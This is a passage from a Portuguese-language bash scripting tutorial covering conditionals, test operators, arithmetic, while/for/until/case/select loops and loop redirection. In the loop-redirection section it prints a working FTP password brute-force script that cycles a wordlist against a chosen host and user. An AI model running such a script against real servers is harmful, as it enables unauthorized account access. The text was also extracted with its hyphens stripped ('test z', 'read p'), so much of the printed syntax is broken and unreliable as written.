boot.b boot_message.txt chain.b config map os2_d.b O diretório existe. O que fizemos ? Logo após o if, nós colocamos um comando: "ls /boot". O que o if faz ? Ele executa esse comando (por isso que temos a segunda linha começada por "System.map", que é o conteúdo do meu diretório /boot) e avalia o seu código de saída. Como o "ls" foi executado corretamente, ele retorna zero, significando verdadeiro para o if , que executa o comando logo após o "then", ou seja, o echo "O diretório existe.", mostrando essa mensagem no console. Agora vamos colocar um diretório que não existe: Adbeel Goes Filho
ShellScripts 53
virtvs@mucuripe:~$ if ls /dir_invalido; then echo "O diretório existe."; else echo "Diretório inválido."; fi; /bin/ls: /dir_invalido: Arquivo ou diretório não encontrado Diretório inválido. A lógica é a mesma. Executa o "ls /dir_invalido", que retorna um código maior que zero. O if avalia como falso e executa o comando após o else: echo "Diretório inválido". Nós poderíamos omitir a segunda linha dos dois exemplo (a que mostra o conteúdo de /boot no primeiro exemplo e a mensagem de erro emitida pelo ls dizendo que /dir_invalido não existe no segundo), apenas redirecionando as saídas para /dev/null, ou seja: virtvs@mucuripe:~$ ls /boot 1> /dev/null 2> /dev/null Nota: Tem um macete que possui o mesmo efeito. Em vez de colocar: "1> /dev/null 2> /dev/null" podemos colocar "2&>1", que é menor e mais simples. Comando "test" Aprendemos que o “if” avalia a código de retorno de um comando. Muitas vezes, para não dizer a maioria, nós queremos avaliar "expressões", ou seja, verificar se uma variável é igual a outra, se ela esta vazia etc. Para isso, nós temos outro comando chamado "test". Ele funciona da seguinte maneira: test [expressão] O test pode testar operações de três tipos: strings, arquivos e aritméticas. Expressões usando strings: O test pode apenas comparar strings, ou seja, verificar se uma é igual a outra, e verificar se uma string é vazia ou não. Vamos aos exemplos para facilitar o entendimento: virtvs@mucuripe:~$ test "a" = "a" virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test "a" = "b" virtvs@mucuripe:~$ echo $? 1 virtvs@mucuripe:~$ test "a" != "b" virtvs@mucuripe:~$ echo $? 0
Adbeel Goes Filho
ShellScripts 54
Aqui comparamos a string "a" com "b". Como era de se esperar, o primeiro retornou verdadeiro (zero), pois a = a e o segundo retornou falso. No terceiro, o símbolo "!=" significa "diferente". virtvs@mucuripe:~$ test z "neo" virtvs@mucuripe:~$ echo $? 1 virtvs@mucuripe:~$ test z "" virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test n "neo" virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test n "" virtvs@mucuripe:~$ echo $? 1 Acima temos os testes de vazio. A opção "z" verifica se é vazio, e "n" se não é vazio. No primeiro caso, ele testa se "neo" é uma string vazia, retornando falso. Já no segundo caso, como "" é vazia, retorna verdadeiro. O terceiro e quarto são semelhantes aos primeiros, mas com "n". Expressões com arquivos: Os testes que podem ser feitos com arquivos são para verificar determinadas caracteristicas, como se ele existe, se é executavel, se é um link simbólico, se é um diretório etc. A seguir, temos uma lista de várias opções disponíveis: b arquivo c arquivo d arquivo e arquivo f arquivo s arquivo h arquivo p arquivo S arquivo k arquivo r arquivo w arquivo x arquivo O arquivo G arquivo N arquivo
Verdadeiro se arquivo é um arquivo de bloco, como /dev/hda. Verdadeiro se arquivo é um arquivo de caracter, como /dev/tty1. Verdadeiro se arquivo é um diretório. Verdadeiro se arquivo existe. Verdadeiro se arquivo existe e é um arquivo comum. Verdadeiro se arquivo existe e não é vazio. Verdadeiro se arquivo é um link simbólico. Verdadeiro se arquivo é um "named pipe" (fifo, lifo, etc). Verdadeiro se arquivo é um "socket". Verdadeiro se arquivo tem seu "sticky bit" ligado. Verdadeiro se arquivo pode ser lido pelo usuário atual. Verdadeiro se arquivo pode ser escrito pelo usuário atual. Verdadeiro se arquivo pode ser executado pelo usuário atual. Verdadeiro se arquivo pertence ao usuário atual. Verdadeiro se arquivo pertence ao grupo do usuário atual. Verdadeiro se arquivo foi modificado desde a ultima vez que foi lido.
Alguns exemplos: Adbeel Goes Filho
ShellScripts 55
A opção "e" verifica apenas se um arquivo existe e a opção "d" verifica se o arquivo é um diretório. A opção "nt" verifica se o primeiro arquivo é mais novo que o segundo (nt = newer than) e "ot" verifica se o primeiro é mais velho que o segundo (od = older than): virtvs@mucuripe:~$ test e /vmlinuz virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test d /vmlinuz virtvs@mucuripe:~$ echo $? 1 virtvs@mucuripe:~$ test e /usr virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test d /usr virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test /usr nt /vmlinuz virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test /usr ot /vmlinuz virtvs@mucuripe:~$ echo $? 1 #!/bin/bash if [ $1 = $2 ]; then echo As strings são iguais. fi $ ./strcmp1.sh meleu ./strcmp.sh: [: meleu: unary operator expected Note que o test deu um erro, e por isso retornou um nãozero para o if. Observe o seguinte: $ cat strcmp2.sh #!/bin/bash if [ $1 = $2 ]; then echo As strings são iguais. else echo As strings são diferentes. fi $ ./strcmp2.sh meleu Adbeel Goes Filho
ShellScripts 56
./strcmp.sh: [: meleu: unary operator expected As strings são diferentes. Aconteceu a mesma coisa que no primeiro exemplo, só que agora temos um else pra ser executado caso a expressão do if retorne falso (ou nãozero). Uma solução pra que não dê este erro no test é usar aspas duplas. Veja só: #!/bin/bash if [ "$1" = "$2" ]; then echo As strings são iguais. else echo As strings são diferentes. fi Você também NÃO deve escrever tudo junto, assim: $1=$2 ou "$1"="$2" Desta maneira o test vai retornar sempre verdadeiro, pois seria como se você estivesse passado somente um parâmetro para ele. #!/bin/bash NUM1=1 NUM2=00001 if [ "$NUM1" = "$NUM2" ]; then echo "O valor string de $NUM1 e $NUM2 são iguais." else echo "O valor string de $NUM1 e $NUM2 são diferentes." fi if [ $NUM1 eq $NUM2 ]; then echo "O valor numérico de $NUM1 e $NUM2 são iguais." else echo "O valor numérico de $NUM1 e $NUM2 são diferentes." fi Para fazer cálculos aritméticos podemos fazer o seguinte esquema $ echo $[ 2 * 3 + 4 ] 10 $ echo $[ 2 * ( 3 + 4 ) ] 14 Adbeel Goes Filho
ShellScripts 57
Basta colocar a expressão entre $[ ... ]. Você também pode usar $((cifrãodois parênteses)) mas os colchetes são bem mais práticos. Se você pretende usar mais coisa relacionada a matemática, então aprenda a usar o comando "bc". Mas se vai ficar só no "papaimamãe" das operações básicas pode ficar usando $(( )) ou $[ ] (OBS.: em operações de divisão os resultados não são muito satisfatórios). operadores lógicos (AND e OR) Para usar os operadores lógicos basta usar "a" para AND e "o" para OR. Muito simples. O exemplo a seguir usa o AND e também usa um novo tipo de comando de controle, o "elif", que é a mesma coisa que "else if", só que se você usar "else if" vai precisar de um "fi" para fechar. O elif não precisa disso. Preste atenção que é fácil de entender para quem tem noção de algoritmo: #!/bin/bash read p "Entre com o primeiro número: " NUM1 read p "Entre com o segundo número: " NUM2 read p "Entre com o terceiro número: " NUM3 # Observe o "a" (AND) na expressão abaixo if [ $NUM1 le $NUM2 a $NUM1 le $NUM3 ]; then MENOR=$NUM1 if [ $NUM2 le $NUM3 ]; then MEIO=$NUM2 MAIOR=$NUM3 else MEIO=$NUM3 MAIOR=$NUM2 fi elif [ $NUM2 le $NUM3 ]; then MENOR=$NUM2 if [ $NUM1 le $NUM3 ]; then MEIO=$NUM1 MAIOR=$NUM3 else MEIO=$NUM3 MAIOR=$NUM1 fi else MENOR=$NUM3 if [ $NUM1 le $NUM2 ]; then MEIO=$NUM1 MAIOR=$NUM2 Adbeel Goes Filho
ShellScripts 58
else MEIO=$NUM2 MAIOR=$NUM1 fi fi echo "$MENOR < $MEIO < $MAIOR" O comando let O let é um comando embutido no bash (e isto quer dizer que se você quiser informações sobre ele tem que ver na manpage do bash, mais especificamente no tópico ARITHMETIC EVALUATION). Ele é bastante útil para quem está acostumado com programação C, pois sua sintaxe é semelhante, mas só é usado para expressões aritméticas. Com este comando você pode comparar valores numéricos com os sinais <, >, <=, >=, ==, e !=. E mais bastante coisa comum em linguagem C (como por exemplo o ++ e o ). Alguns exemplos do que você pode fazer: let var++ let var let "$num > 2"
# equivalente a "var=$[ $var + 1 ]" # equivalente a "var=$[ $var 1 ]" # equivalente a "[ $num gt 2 ]"
Outra coisa interessante é que você pode substituir let "expressao"
por
(( expressao ))
Portanto os exemplos acima poderiam ser feitos assim: (( var++ )) (( var )) (( $num > 2 )) Veja este script abaixo apenas para entender a utilidade do let: Exemplo: #!/bin/bash if (( $# != 2 )) ; then # poderia ser: if let "$# != 2" echo "Uso: `basename $0` N1 N2" 1>&2 exit 1 fi if (( $1 > $2 )) ; then # poderia ser: if let "$1 > $2" echo "$1 é maior que $2" elif (( $1 == $2 )) ; then # poderia ser: elif let "$1 == $2" echo "$1 é igual a $2" Adbeel Goes Filho
ShellScripts 59
else echo "$1 é menor que $2" fi 4.
Tomadas de decisão com && e ||
Esta maneira de tomar decisões é bem compacta, mas não aceita "else". Eu, particularmente, prefiro usar esta estrutura quando vou fazer uma tomada de decisão e não preciso de "else". A maneira de usar é: comando1 && comando2 comando1 || comando2 O && executa o primeiro comando e somente se este retornar 0 (não ocorrer problemas) o segundo será executado. O || executa o primeiro comando e somente se este retornar nãozero (ocorrer problemas) o segundo será executado. Veja um exemplo bem simples: $ [ d ~/tempdir ] || mkdir ~/tempdir Como você deve estar lembrado, "[ d ~/tempdir ]" é o mesmo que "test d ~/tempdir" e retornará 0 se existir o diretório ~/tempdir. Caso não exista ele retornará 1, e neste caso o "mkdir ~/tempdir" será executado. Vejamos um parecido usando o &&: $ [ d ~/tempdir ] && ls ld ~/tempdir Listas As listas de comandos servem para agrupar comandos. Podem ser representadas por (parenteses) ou {chaves}. A diferença é que os (parenteses) executam os comandos num shell a parte e as {chaves} executam no shell atual. Execute comando a seguir e tente entendêlo (está certo... são vários comandos, mas inicialmente é encarado com um comando só). Exemplo: [ d /usr/doc ] && { echo "O diretorio existe" echo "veja o seu conteudo" cd /usr/doc ls } E observe que ao final da execução você estará no diretório /usr/doc, o que comprova que com as {chaves} os comandos são executados no shell atual, se você trocar as {chaves} por Adbeel Goes Filho
ShellScripts 60
(parênteses) observará que o seu diretório não se alterará. FYI: para saber o diretório atual o comando a ser usado é o "pwd". Expressões Aritméticas Expressões aritméticas consistem com comparar dois números, verificando se são iguais, ou se o primeiro é maior que o segundo etc. Infelizmente não podemos apenas utilizar os símbolos conhecidos para igual (=), maior que (>), menor que (<) etc. Temos que usar operadores reconhecidos pelo "test". Assim, não podemos fazer: "test 1 = 1", devemos utilizar o operador "eq" (equal): "test 1 eq 1". A seguir, temos uma lista dos operadores: eq (equal): Igual; ne (notequal): Não Igual (diferente); lt (less than): Menor que (<); le (less than or equal): Menor ou igual ( <= ); gt (greater than): Maior que (>); ge (greater than or equal): Maior ou igual (>=); Alguns exemplos: virtvs@mucuripe:~$ test 1 lt 2 virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test 1 gt 2 virtvs@mucuripe:~$ echo $? 1 virtvs@mucuripe:~$ test 2 gt 1 virtvs@mucuripe:~$ echo $? 0 virtvs@mucuripe:~$ test 2 ge 2 virtvs@mucuripe:~$ echo $? 0 Para finalizar, vamos fazer duas considerações. A primeira é de que o comando "test" pode ser substituido por um par de colchetes [ ]. Assim, o comando test "a" = "b" pode ser escrito como [ "a" = "b" ] . Essa segunda nomenclatura fica mais fácil e simples, principalmente quando estamos utilizando IF: if [ e /vmlinuz ]; é mais intuitivo e simples que if test e /vmlinuz; . A segunda consideração é que, obviamente, podemos utilizar variáveis no lugar dos Adbeel Goes Filho
ShellScripts 61
argumentos (caso contrário, ficaria difícil utilizar comandos de condicionais em shell script). Assim, se tivermos duas variaveis, valor1=5 e valor2=8: [ "$valor1" = "$valor2" ] , [ "$valor1" lt "$valor2" ] etc. É importante colocarmos os valores entre aspas duplas ("), pois assim o bash pode substituir o que se encontra dentro dessas aspas. Se colocarmos entre aspas simples ('), impedimos o bash de alterar o que se encontra dentro delas. Se não utilizarmos as aspas duplas, vamos ter problemas, principalmente ao trabalharmos com string. Por exemplo, queremos comparar dois nomes, que se encontram em duas variaveis:nome1="fulano de tal" e nome2="ciclano". Montando nossa expressão condicional: [ "$nome1" = "$nome2" ]. O bash irá expandir isso para: [ "fulano de tal" = "ciclano" ], ficando claramente definidos o primeiro e o segundo argumento. Agora, se não usarmos aspas: [ $nome1 = $nome2 ]. O bash irá expandir isso para: [ fulano de tal = ciclano ]. Perceba que os argumentos se misturam e o bash não vai saber o que comparar. Por isso é importante colocarmos os argumentos entre aspas duplas. Conclusão Resumindo, aprendemos na aula de hoje como utilizar comandos condicionais. Isso será fundamental nos próximos capitulos, onde iremos tratar os comandos de laço, como o while.
Adbeel Goes Filho
ShellScripts 62
Capitulo 4. Comandos de Repetição Vamos aprender agora sobre comandos de laço como o while, for, case e select. Eles nos permitem executar alguns comandos diversas vezes, sob determinadas condições e até montar menuzinhos para interagir com o usuário.
14.while Este é provavelmente o comando de laço mais utilizado em programação. Seu entendimento é simples. Ele testa uma condição (como faz o IF) e executa um conjunto de comandos se esta condição for verdadeira. Após a execução desses comandos, ele torna a testar a condição e se esta for verdadeira, ele reexecuta os comandos e assim por diante. Sua sintaxe é a seguinte: while [ condição ]; do comando 1; comando 2; ... done; O parâmetro [ condição ] funciona exatamente igual ao do IF. Bom, vamos ao exemplo mais simples do while: um contador. x = 0 while [ "$x" le 10 ]; do echo "Execução número: $x"?; x = $((x+1)); done; Analisando: Na primeira linha temos a condição: enquanto o valor da variável x ( $x ) for menor igual ( le ) a 10, faça: mostre "Execução número: " e o valor de x ($x). Faça x = x + 1. Isso no bash é feito pelo comando $(( )). Ele realiza operações algébricas com variáveis. No caso acima, estamos somando x + 1 e colocando o resultado no próprio x.
Adbeel Goes Filho
ShellScripts 63
Preste atenção, que as linhas do while precisam de um ";" para terminar, exceto a que contém o "do", pois ele representa o começo do bloco de comandos. Quando executamos o script acima, temos uma contagem de 1 até 10: virtvs@mucuripe:~$ x=0; while [ "$x" lt 10 ]; do x=$((x+1)); echo "Execução número: $x"; done; Execução número: 1 Execução número: 2 ... Execução número: 10 virtvs@mucuripe:~$ O while tem muita utilidade em programação, mas fica difícil dar exemplos usando somente ele, pois geralmente ele está associado a execução de outros programas e rotinas mais complexas. Eu costumo usar ele, por exemplo, quando quero que o napster fique tentando conectar, pois quando ele vai tentar conectar o servidor e não consegue, ele simplesmente termina. Aí eu coloco o while testando a código de retorno dele (lembram da variável $? ) e enquanto estiver diferente de zero (o napster terminou com erro), ele fica executando o napster: ? = 1; while [ "$?" ne "0" ]; do ./nap; done; O comando "? = 1" tenta atribuir 1 a variável ?. Isso provoca um erro, pois a variável ? É somente de leitura. Isso é necessário para que ? Contenha algo diferente de 0, pois senão o while não executa a primeira interação.
15.for O for é semelhante ao while usado como um contador. É necessário fornecer uma lista de nomes e ele executa os comandos para cada nome na lista. Parece meio confuso, mas é simples. Veja a sintaxe: for in <lista>; do comandos done; O for associa o primeiro item da lista de nomes à variável e executa os comandos. Em seguida, associa novamente o segundo item da lista à e executa novamente os comandos... e assim por diante, até acabar a lista. Veja o exemplo:
Adbeel Goes Filho
ShellScripts 64
virtvs@mucuripe:~$ for x in Compra Venda Aluguel; do echo $x; done; Compra Venda Aluguel Ou seja, primeiro ele coloca "Compra" na variável x e executa os comandos, no caso, "echo $x", e assim por diante. Podemos facilmente implementar um contador, usando em conjunto com o for, o programinha "seq". Ele simplesmente gera uma seqüência de números. Por exemplo, "seq 10" gera uma seqüência de 1 até 10. Assim, podemos usálo no for: for x in $(seq 10); do echo $x; done; Esse comando é semelhante ao contador implementado com o while. Primeiro o x vale 1 e o for executa os comandos. Depois x vale 2 e ele reexecuta os comandos... Vamos usar o for para renomear os arquivo de um diretório, mudando todos os arquivo terminados em ".mp3" para ".mp3.bak". for x in *; do mv "$x" "${x}.bak"; done; for x in *.mp3; do if [ e "$x" ]; then mv "$x" "${x}.bak"; fi; done; No local de <lista> nos colocamos "*.mp3". Isso diz ao bash para expandir (transformar) ele na lista de arquivos terminados com ".mp3". Senão houver nenhum arquivo com essa terminação, o bash não faz nada, ficando para o for a string "*.mp3". Por isso precisamos do if para testar se o arquivo existe. Experimente no seu sistema. echo *.mp3 vai mostrar os arquivos no diretório atual com terminação mp3, mas sem quebra de linha entre eles, ou seja, um nome após o outro. Se não houver nenhum arquivo com terminação mp3, ele apenas vai mostrar "*.mp3". Bem, voltando ao for, ele vai atribuir a "x" cada nome na lista de arquivos com terminação ".mp3" e executar os comandos seguintes. Primeiro ele testa para ver se o arquivo existe ( if [ e "$x" ]; ), e se existir, renomeia ele para o seu próprio nome acrescido de ".bak" ( ${x}.bak ). Resumindo, o for faz isso: você fornece uma lista de nomes para ele e ele vai atribuindo esses nomes, em ordem e um por vez, à variável e executa os comandos entre o "do" e o "done;". Agora para usarmos um for um pouco parecido com o das linguagens de programação convencionais usamos um comandinho chamado "seq". Ele funciona basicamente da seguinte forma:
Adbeel Goes Filho
ShellScripts 65
$ seq 1 10 1 2 3 4 5 6 7 8 9 10 # pode ser em ordem decrescente também: $ seq 10 1 10 9 8 7 6 5 4 3 2 1 Examplo: #!/bin/bash if [ $# ne 1 ]; then echo "Uso: `basename $0` n" echo "Onde 'n' é um número inteiro qualquer" exit 1 fi for OP in `seq 1 10`; do echo e "$1 + $OP = $[ $1 + $OP ] \t $1 $OP = $[ $1 $OP ]" done echo for OP in `seq 1 10`; do echo e "$1 * $OP = $[ $1 * $OP ] \t \ $1 / $OP = `echo "scale=2;$1 / $OP" | bc`" done Adbeel Goes Filho
ShellScripts 66
16.until É igual ao while, exceto por um detalhezinho. Veja a expressão básica e saberá: until <expressão>; do retornar FALSO> done Leia direitinho: comandos que serão executados enquanto <expressão> retornar FALSO! ;) Exemplo: #!/bin/bash CONT=10 until [ $CONT eq 0 ]; do echo ne "$CONT\t" let CONT done echo
17.case O case está mais para um comando condicional do que para comando de laço, visto que ele não executa "loopings" como o while e o for. Ele geralmente é utilizado como substituição de vários IFs.. Um exemplo clássico e muito utilizado é quando você precisa testar um parâmetro fornecido na linha de comando. O case é utilizado desta forma em scripts de inicialização de serviços do sistema. Vou mostrar a sintaxe em em seguida um script que inicialize/ reinicialize ou pare algum serviço (como o sendmail, apache, bind, etc). Sintaxe: case <parâmetro> in ) ;; [opção 2] ) ;; * ) < comandos se não for nenhuma das opções > ;; Adbeel Goes Filho
ShellScripts 67
esac Vamos as explicações. O case pega a string fornecida em <parâmetro> e compara com . Se forem iguais, ele executa e sai fora. Caso contrário, ele compara <parâmetro> com e assim por diante. Caso <parâmetro> não seja igual a nenhuma das opções, ele executa os comandos da opção "*", se este existir. Prestem atenção a alguns detalhes na sintaxe. Deve existir um ")" após cada opção e também um ";;" após todos os comandos de cada opção. Vejam o exemplo abaixo: case "$1" in 'start' ) echo "Iniciando o serviço..." ;; 'restart' ) echo "Reinicializando o serviço..." ;; 'stop' ) echo "Parando o serviço..." ;; *) echo "Opção invalida!" echo "As opções válidas são: start, stop e restart" ;; esac O case serve exatamente para isso, ou seja, evitar o teste de vários Ifs. No caso acima, teríamos que utilizar 3 Ifs. Mesmo se o primeiro já fosse verdadeiro, o bash iria testar o segundo e o terceiro, ou seja, ia perder tempo desnecessariamente. Já no case isso não acontece. Após entrar em uma opção e executar seus comandos, ele já pula fora do case sem testar as outras opções abaixo.
18.break e continue Estes comandos são úteis quando usamos loops. break
Quebra a execução do loop. Para entender nada melhor que um exemplo:
Adbeel Goes Filho
ShellScripts 68
Examplo: #!/bin/bash # `true` sempre retorna verdadeiro while true; do read p "Tente adivinhar o número: " NUM [ "$NUM" eq 666 ] && break done echo e "\nVocê acertou! \n" O que o break faz é pular a sequência de execução do script para o que vier depois do "done". Ele também aceita argumento, da seguinte forma: "break n", onde 'n' é um número inteiro que indica quantos "done's" pular. continue O continue interrompe o loop e faz novamente o teste do comando que está controlando o loop (for, while, etc.). Veja este exemplo: Examplo: #!/bin/bash [ $1 ] || { echo "Entre com o(s) nome(s) do arquivo(s)"; exit 1; } for FILE in $@; do [ f $FILE ] || { echo e "\"$FILE\" não é um arquivo\n" continue } cat $FILE >> AllFiles.txt echo e "\n\n\n=============\n\n\n" >> AllFiles.txt done echo "Feito!" O que o continue faz é voltar lá para antes do "do" pra fazer o teste novamente. Ele também aceita argumento no estilo "continue n" para indicar quantos "do's" voltar.
Adbeel Goes Filho
ShellScripts 69
19.Redirecionando loops Lendo o livro "Linux: Programação Shell" (ver Referências) eu aprendi umas formas de usar redirecionamento para loops. Vou tentar passar os esquemas aqui através de exemplos meramente ilustrativos. Vamos a eles, lembrando daqueles conceitos passados no tópico 3. (principalmente sobre o read e sobre os redirecionamentos). "pipeando" para o while Vamos imaginar um arquivo onde eu tenho os nomes de alguns amigos meus e a região onde eles moram. Como alguns amigos moram em uma mesma região eu não vou ficar repetindo a região para cada um. Portanto o arquivo fica assim: ############################# # lista de amigos e estados # ############################# # # OBS.: ISSO NÃO É UM SCRIPT! # # Linhas que COMEÇAM com '#' serão consideradas # comentários pelo script "listamigos.sh". # # Use da seguinte forma: # REGIAO amigo1 amigo2 amigo3 amigoN ... # Nordeste slater nashleon xf eSc2 Sudeste module hekodangews manalaura blindbard klogd Sul evillord emmanuele Agora veja o script que usará as informações contidas no arquivo "amigos.regiao": #!/bin/bash # o egrep abaixo vai pegar o arquivo "amigos.regiao" # sem exibir as linhas que comecem com um caractere '#' # (considerado comentário) e sem mostrar linhas vazias, # em seguida vai redirecionar a saída para a entrada do # read que está lá no while (relembrese do read no # tópico 3.2.) egrep v "^#|^ *$" amigos.regiao | Adbeel Goes Filho
ShellScripts 70
while read REGIAO NOMES ; do echo e "\e[1m> Amigos do $REGIAO:\e[m" for amigo in $NOMES ; do echo "$amigo" done echo done Mas a coisa não é tão simples assim... Se dentro do loop você quisesse usar o comando read para ler do teclado, seria necessário pegar a entrada de "/dev/tty". Sabendo que o /dev/tty é o terminal que você está usando. Se você tiver muitos amigos no arquivo "amigos.regiao" não vai conseguir ver todos, pois a lista não caberá numa tela só. Neste caso, o script a seguir será melhor que o "listamigos.sh". #!/bin/bash egrep v "^#|^ *$" amigos.regiao | while read REGIAO NOMES ; do echo e "\n\e[32;1m> Amigos do $REGIAO:\e[m" for amigo in $NOMES ; do echo e "\e[1m$amigo\e[m" done echo ne "\nEntre <ENTER> para continuar ou 'sair' para sair: " read QUIT < /dev/tty [ "$QUIT" = "sair" ] && exit done Se quiser comprovar com seus próprios olhos a necessidade de pegar a entrada de "/dev/tty" é só retirar o "< /dev/tty" naquele read dentro do loop. OBS.: Curiosamente o exit dentro de um loop que recebe dados de um pipe funciona como se fosse um break. Pra comprovar isso coloque no final do script listamigos2.sh um "echo bla bla bla" e quando o script mostrar "Entre <ENTER> para continuar ou 'sair' para sair: " entre com 'sair'. Isso ocorre porque durante o "pipeamento" os comandos são executados num subshell (um shell a parte ou shell filho, como preferir), e o exit faz sair deste subshell. Vejamos um exemplo onde você verá que o exit funciona como o break: #!/bin/bash # ################################################################## # *********** # * ATENÇÃO * # *********** # Não use este script para atacar servidores remotos! Ele deixará # arquivos de log imensos! Useo apenas em localhost (127.0.0.1) # e veja você mesmo os rastros deixados nos arquivos de log. Adbeel Goes Filho
ShellScripts 71
################################################################## # # Este código é só pra ilustração do texto # "Programação em BourneAgain Shell", # Na prática mesmo ele não é muito útil.Se quiser fazer um ataque de força bruta # mais eficiente faça em C. # Veja mais sobre ataques de força bruta em um texto que o NashLeon fez em # # # verifica se o parâmetro passado é um arquivo [ f "$1" ] || { echo e "\e[1mErro na passagem de parâmetros\e[m" echo "Uso: `basename $0` wordlist" exit 1 } WL="$1" echo e " \e[36;1m \e[37;1m ataque de força bruta via ftp \e[36;1m \e[m " read p "Host: " HOST read p "Username: " USER cat $WL | while read PASS do # 230 é o número que recebemos quando entramos com sucesso via ftp ftp ivn << EoF | grep "^230" &>/dev/null open $HOST user $USER $PASS bye EoF # $? contém o código de retorno do grep [ $? eq 0 ] && { echo e "\n\e[36;5;1mO ataque foi bem sucedido! \e[m" echo e "Username: \e[1m$USER\e[m\nPassword: \e[1m$PASS\e[m" exit 0 # lembrando que o exit funciona como se fosse break } done Adbeel Goes Filho
ShellScripts 72
# $? contém o mesmo valor nãozero que fez parar o loop acima [ $? ne 0 ] && echo " Você entupiu os arquivos de log por nada, pois o ataque fracassou... Mais sorte da próxima vez! O "pipeamento" para while também é usado no Mextract.sh. redirecionando de arquivo para while Agora veremos um arquivo onde eu tenho os telefones de alguns amigos. A disposição das informações dentro do arquivo é um pouco parecida com o "amigos.regiao", veja: ####################### # Agenda de telefones # ####################### # # OBS. I: ISSO NÃO É UM SCRIPT! # # Linhas que COMEÇAM com '#' serão consideradas # comentários pelo script "listartel.sh". # # Use da seguinte forma: # NOME PREFIXO TELEFONE # Com os campos separados por UM ÚNICO . # # Exemplo: # lampiao 12 12345678 # mariabonita 87 87654321 # telefone "dus manu" xf 45 12431412 slater 98 65451654 minduin 45 54871800 nash 23 65576784 evil 23 54654654 heko 43 56465465 esc2 24 46456456 # telefone "das mina" emmanuele 87 45646545 maylline 29 65654655 manalaura 82 65416578 erika 65 34245522
Adbeel Goes Filho
ShellScripts 73
Vamos ao script que se utilizará das informações de "agenda.tel":
Adbeel Goes Filho
ShellScripts 74
#!/bin/bash #arquivo=listartel.sh # TempFile=/tmp/TEMP$$ # o egrep abaixo vai mostrar o arquivo agenda.tel # sem exibir as linhas que comecem com um caractere '#' # (considerado comentário) e sem mostrar linhas vazias. # redirecionando a saída para $TempFile egrep v "^#|^ *$" agenda.tel > $TempFile while read NOME PRE TEL ; do echo e "Tel de $NOME: ($PRE)$TEL" done < $TempFile # esse redirecionamento faz com o que o "read" lá no while # leia linha por linha do arquivo $TempFile rm $TempFile Consulta o arquivo $ ./listartel.sh | grep emma OBS. I: Neste esquema também é necessário pegar os dados de /dev/tty se você quiser usar o read dentro do loop. OBS. II: Se você usar exit dentro do loop usando este esquema, ele REALMENTE SAIRÁ DO SCRIPT. Não é igual ao esquema anterior onde o while recebe dados de um pipe e o exit funciona como se fosse um break. Então repetindo: neste esquema o exit funciona normalmente! redirecionando a saída do loop para a tela Ficou confuso com este título? "Redirecionar a saída do loop para a tela parece ser uma coisa inútil, pois isso acontece todas as vezes." Aí que você se engana! Vamos ao exemplo onde eu mostrarei a utilidade de se redirecionar desta maneira... Temos um script chamado retornatel.sh que pesquisa o telefone de um determinado amigo (o nome é passado ao script durante sua execução). Agora queremos pegar o telefone deste amigo e armazenálo numa variável da seguinte maneira: FONE=`./retornatel.sh` Só que, como veremos no script a seguir, a saída do script não é somente o número do telefone. Existe uma interface com o usuário perguntando qual o nome a ser pesquisado. Veja o script: Exemplo: Adbeel Goes Filho
ShellScripts 75
#!/bin/bash # tá bom, tá bom... eu sei que não é um exemplo muito útil... # é só pra ilustrar a utilidade de redirecionar a saída do loop FILE=agenda.tel function gotoxy { [ $# ne 2 ] && { echo gotoxy: Erro na passagem de parâmetros echo Uso: gotoxy X Y exit 1 } echo ne "\e[$1;$2H" } while true; do clear gotoxy 5 1 read p "Nome a ser pesquisado ('sair' para sair): " NOME [ "X$NOME" = Xsair ] && exit if grep "$NOME" $FILE &>/dev/null ; then break else gotoxy 10 15 echo Nenhum $NOME foi encontrado em $FILE. read p "Pressione <ENTER> para continuar..." fi done > /dev/tty grep "^$NOME" $FILE | cut f3 Olha o /dev/tty aí de novo! :P Redirecionando a saída de todo o loop para "/dev/tty", fará com que os dados impressos para fazer a interface com o usuário não sejam enviados para a saída padrão e por conseguinte não sejam enviados para a variável que está recebendo o número através do método variavel=`programa` Desta maneira, se você quer armazenar o telefone do xf na variável XFTEL, faça o seguinte: XFTEL=`./retornatel.sh` E então pesquise por xf. Depois é só usar echo $XFTEL Adbeel Goes Filho
ShellScripts 76
20.select O select é um comando de laço que nos permite mostrar um pequeno menu de opções para o usuário. Cada opção possui um número e para escolher, o usuário digita o número correspondente a opção desejada. Vejamos a sintaxe a seguir: select in <lista de opções>; do done; Como disse acima, o select vai mostrar as opções contidas em <lista de opções>, uma por linha, com um número na frente e espera que o usuário digite a opção desejada. Ao digitar a opção, o select atribui o nome da opção a variável e executa os comandos. Para sair do select, é necessário executar o comando "break". Vamos a um exemplo: select x in Iniciar Reiniciar Parar Sair; do echo "Opção Escolhida: $x" if [ "$x" == "Sair" ]; then break; fi; done; Ou seja, se o usuário escolher alguma opção diferente de "Sair", o script apenas escreve a opção. Se for escolhida Sair, ele mostra a opção, entra no IF e executa o break, saindo do select. É interessante combinar o Select com o Case. Vamos mostrar como ficaria aquele exemplo do case, de iniciar um serviço, utilizando o select, para tornar o script interativo: select x in Iniciar Reiniciar Parar Sair; do case "$x" in 'Iniciar' ) echo "Iniciando o serviço..." ;; 'Reiniciar' ) echo "Reinicializando o serviço..." ;; 'Parar' ) echo "Parando o serviço..." ;; 'Sair' ) echo "Script encerrado." break ;; *) Adbeel Goes Filho
ShellScripts 77
